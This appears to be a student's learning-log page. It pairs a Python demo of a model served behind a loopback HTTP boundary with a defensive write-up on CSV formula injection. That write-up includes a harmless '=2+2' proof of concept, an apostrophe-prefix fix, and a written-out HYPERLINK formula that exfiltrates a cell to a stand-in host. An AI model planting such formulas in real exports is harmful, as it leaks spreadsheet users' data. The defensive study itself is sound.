|
Última actualización: 2026-12-02
DAY 022 OF 1600 · 2026-10-22 Day 022 — The model is not a function call, and a spreadsheet is an interpreterA student's private learning log · one concept at a time. Date: 2026-10-22 · Day: 22 of 1600 Log: a student's private learning log · one concept at a time. --- Concept #22 — A served model is a service with a contract, not a library callMA02 is closed, so today opens MA03 (AI-Ops). The course's own project description starts with the sentence I want to keep: > R-01: The system shall be implemented using a service-based architecture. All > components (e.g. user interface, model serving endpoint, database) must be > developed as independent, standalone services that communicate over a network. Read quickly, that is a deployment preference. Read carefully, it is a claim about failure : if the model lives in the same process as the interface, then a model crash is an interface crash, and there is nothing to degrade into . Putting a network boundary between them does not make the model more reliable — it makes its unreliability survivable , because the caller now has a place to catch it. That is the sentence I am keeping: > A service boundary converts a crash into an error you can handle. The network > is not there to make the model work; it is there so the model can fail > without taking the page down with it. The second half, which the same requirement implies and nobody says out loud: a service has a contract . If the interface knows the URL and the JSON shape, the model behind it can be retrained, swapped or rewritten in another language without touching the UI. That is why the version of a model is a deployment concern, not a code change. What I tried today: two processes, one file, standard library only. A tiny inference server on loopback exposing /predict?x= , and a client that behaves like the interface: three requests, then I shut the server down mid-session and make a fourth. The question is not whether the last call fails — it must fail. The question is whether the client survives it. The model is deliberately boring: y = 2.17x + 0.30 , fitted by the closed form on four points I made up (x = 1..4, y = 2.5, 4.6, 6.8, 9.0), R² = 0.9999. What matters is not the fit, it is that it lives on the other side of a socket. #!/usr/bin/env python3 # service_demo.py - day-022 concept: the model is a service, not a library call. # Two roles in one process only for the demo: "server" (inference) and # "client" (what the UI would do). Server dies -> client must degrade, not crash. import json, os, threading, time, urllib.request, urllib.error from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer # Linear model fitted on x=[1,2,3,4], y=[2.5,4.6,6.8,9.0]: # slope 2.17, intercept 0.30, R^2 = 0.9999 (closed form, no library). COEF, INTERCEPT = 2.17, 0.30 class Handler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith("/predict"): self.send_response(404); self.end_headers(); return try: x = float(self.path.split("x=")[-1]) except ValueError: self.send_response(400); self.end_headers(); return body = json.dumps({"x": x, "y": round(COEF * x + INTERCEPT, 3)}).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass def start_server(port): srv = ThreadingHTTPServer(("127.0.0.1", port), Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv def call(port, x): t0 = time.perf_counter() try: with urllib.request.urlopen(f"http://127.0.0.1:{port}/predict?x={x}", timeout=2) as r: data = json.load(r) return data, (time.perf_counter() - t0) * 1000 except (urllib.error.URLError, ConnectionError, OSError) as e: return {"error": type(e).__name__}, (time.perf_counter() - t0) * 1000 if __name__ == "__main__": PORT = 8077 srv = start_server(PORT) print(f"[server] inference service up on 127.0.0.1:{PORT} (pid {os.getpid()})") for x in (1, 5, 10): d, ms = call(PORT, x) print(f"[client] x={x:<3} -> {d} ({ms:.1f} ms)") srv.shutdown(); srv.server_close() print("[server] inference service STOPPED (simulates a crash / redeploy)") d, ms = call(PORT, 1) print(f"[client] x=1 -> {d} ({ms:.1f} ms) <- UI shows 'service unavailable', process still alive") print("[client] still running:", True) Real output: [server] inference service up on 127.0.0.1:8077 (pid 1259030) [client] x=1 -> {'x': 1.0, 'y': 2.47} (2.5 ms) [client] x=5 -> {'x': 5.0, 'y': 11.15} (0.6 ms) [client] x=10 -> {'x': 10.0, 'y': 22.0} (0.5 ms) [server] inference service STOPPED (simulates a crash / redeploy) [client] x=1 -> {'error': 'URLError'} (0.2 ms) <- UI shows 'service unavailable', process still alive [client] still running: True What I understood from it: the interesting number is not 0.5 ms, it is the 0.2 ms of the failure. A refused connection on loopback comes back faster than the answer did, which means the interface has time to render a real message. What it must not do is what a library call does — throw an exception inside the request handler and hand the user a stack trace. The part I had to write down to believe: the fix is not "wrap it in try/except". It is that there is a place to wrap . In-process, the model and the page share a call stack and a heap; a model blowing up on a bad array is my bug, in my process, at whatever point it happens. Behind a socket, the failure arrives as a value — URLError , a 503, a timeout — and values can be handled, logged, retried and shown. Same physics, different supervisor. Honest limits: this is one loopback process playing both roles, so it proves the shape of the boundary, not the operational questions. I did not measure a real container restart, a load balancer retry, or what the p99 looks like when the inference service is saturated — that is week 2 material, and the project description asks for a docker-compose.yml that starts the whole thing, which is more than one file and more than today. --- Security #22 — CSV formula injection: the export is code, and Excel is an interpreter (CWE-1236)Twenty-one classes in, and this is the first one where the *victim is a spreadsheet*. No server is attacked. The application behaves perfectly: it takes a string a user typed and writes it into a file, exactly as asked. That is the whole bug. A .csv is not a document format, it is a **serialisation of cells**, and a cell that starts with = is a formula. The exporter thinks it is writing data; the spreadsheet thinks it is being asked to compute. # what the exporter does, and it looks correct: row["name"] = request.form["name"] # user typed: =2+2 writer.writerow(row) # -> name column literally =2+2 What I tried today: a CSV with three rows — a clean name, the raw payload =2+2 , and the same payload neutralised with a leading apostrophe — then opened it with a real spreadsheet engine ( soffice --headless ) and read the resulting cells out of the .ods XML, so the difference is a byte-level fact instead of a claim. #!/usr/bin/env python3 # csv_inject.py - a user-supplied field that starts with '=' is written verbatim # into an export; a spreadsheet then treats it as a formula, not as data. import csv, sys PAYLOAD = "=2+2" rows = [ {"id": 1, "name": "ana", "score": 7}, {"id": 2, "name": PAYLOAD, "score": 9}, {"id": 3, "name": "'" + PAYLOAD, "score": 5}, # neutralised ] with open(sys.argv[1], "w", newline="", encoding="utf-8") as fh: w = csv.DictWriter(fh, fieldnames=["id", "name", "score"]) w.writeheader() w.writerows(rows) $ python3 csv_inject.py export.csv id,name,score 1,ana,7 2,=2+2,9 3,'=2+2,5 $ soffice --headless --convert-to ods --outdir . export.csv $ unzip -p export.ods content.xml | grep -o '<table:table-cell[^>]*>' Real cell bytes, one line per cell, in order: <table:table-cell office:value-type="string" calcext:value-type="string"><text:p>id</text:p></table:table-cell> <table:table-cell office:value-type="string" calcext:value-type="string"><text:p>name</text:p></table:table-cell> <table:table-cell office:value-type="string" calcext:value-type="string"><text:p>score</text:p></table:table-cell> <table:table-cell office:value-type="float" office:value="1" calcext:value-type="float"><text:p>1</text:p></table:table-cell> <table:table-cell office:value-type="string" calcext:value-type="string"><text:p>ana</text:p></table:table-cell> <table:table-cell office:value-type="float" office:value="7" calcext:value-type="float"><text:p>7</text:p></table:table-cell> <table:table-cell office:value-type="float" office:value="2" calcext:value-type="float"><text:p>2</text:p></table:table-cell> <table:table-cell table:formula="of:=2+2" office:value-type="float" office:value="4" calcext:value-type="float"><text:p>4</text:p></table:table-cell> <table:table-cell office:value-type="float" office:value="9" calcext:value-type="float"><text:p>9</text:p></table:table-cell> <table:table-cell office:value-type="float" office:value="3" calcext:value-type="float"><text:p>3</text:p></table:table-cell> <table:table-cell office:value-type="string" calcext:value-type="string"><text:p>'=2+2</text:p></table:table-cell> <table:table-cell office:value-type="float" office:value="5" calcext:value-type="float"><text:p>5</text:p></table:table-cell> Two cells, same input, different types: row 2: table:formula="of:=2+2" office:value-type="float" office:value="4" -> COMPUTED row 3: (no formula) office:value-type="string" text:p='=2+2 -> TEXT What I understood: the payload does not need to be clever. =2+2 is enough to prove the type confusion, and the real thing is the same mechanism with a different function name: =HYPERLINK("http://x/?d="&A1,"open") exfiltrates a neighbouring cell on click, =WEBSERVICE(...) does it without a click. I did not run those — they point at real network targets, and the arithmetic payload already proves evaluation. That is the line I keep for this log: prove the mechanism, do not build the weapon. The neutralisation is one byte and it must happen on export , never on import: DANGEROUS = ("=", "+", "-", "@", "\t", "\r") def safe(cell): s = str(cell) return "'" + s if s.startswith(DANGEROUS) else s Why all five characters and not just = : + and - are how a spreadsheet starts a number and also how it starts a formula, @ is the legacy function prefix, and a leading tab or carriage return is what gets past a check that only strips whitespace before comparing. And why on export: the stored value must stay what the user typed — mutating it on import corrupts the data and breaks the next round-trip. The export is the boundary where data becomes code, so that is where the quoting belongs. Honest limits: this measured LibreOffice's CSV importer with default settings, on Linux, with a formula that touches nothing. Excel's importer has its own history of asking the user before evaluating, and some versions treat a leading = in a CSV field as text depending on the quoting and the locale separator. The class is real either way — the CWE is about the exporter handing an interpreter a program, and which interpreter asks permission first is a detail that changes the blast radius, not the bug. --- Day 22 notesConcept #22: MA03 opened with R-01. A served model is a service because a network boundary turns a crash into a handleable error and decouples model version from UI code. Two roles on loopback, 0.5–2.5 ms per call, service killed mid-session → URLError in 0.2 ms and the client keeps running. ✔ Security #22: CSV formula injection (CWE-1236). =2+2 in a name field comes back from soffice as table:formula="of:=2+2" office:value="4" ; the apostrophe-prefixed copy stays office:value-type="string" . Neutralise on export, all five prefixes ( = + - @ and tab/CR), never on import. Arithmetic payload only, no network targets. ✔ 1578 days left. One at a time. Written by my own daily machine, checked by me. · Day 022 of 1600 · Matías Rathgeb [ inicio ] [ proyectos ] [ posts ] [ daylog ] Página estática. Sin cookies, sin javascript, sin fuentes externas. Contacto: ver inicio. |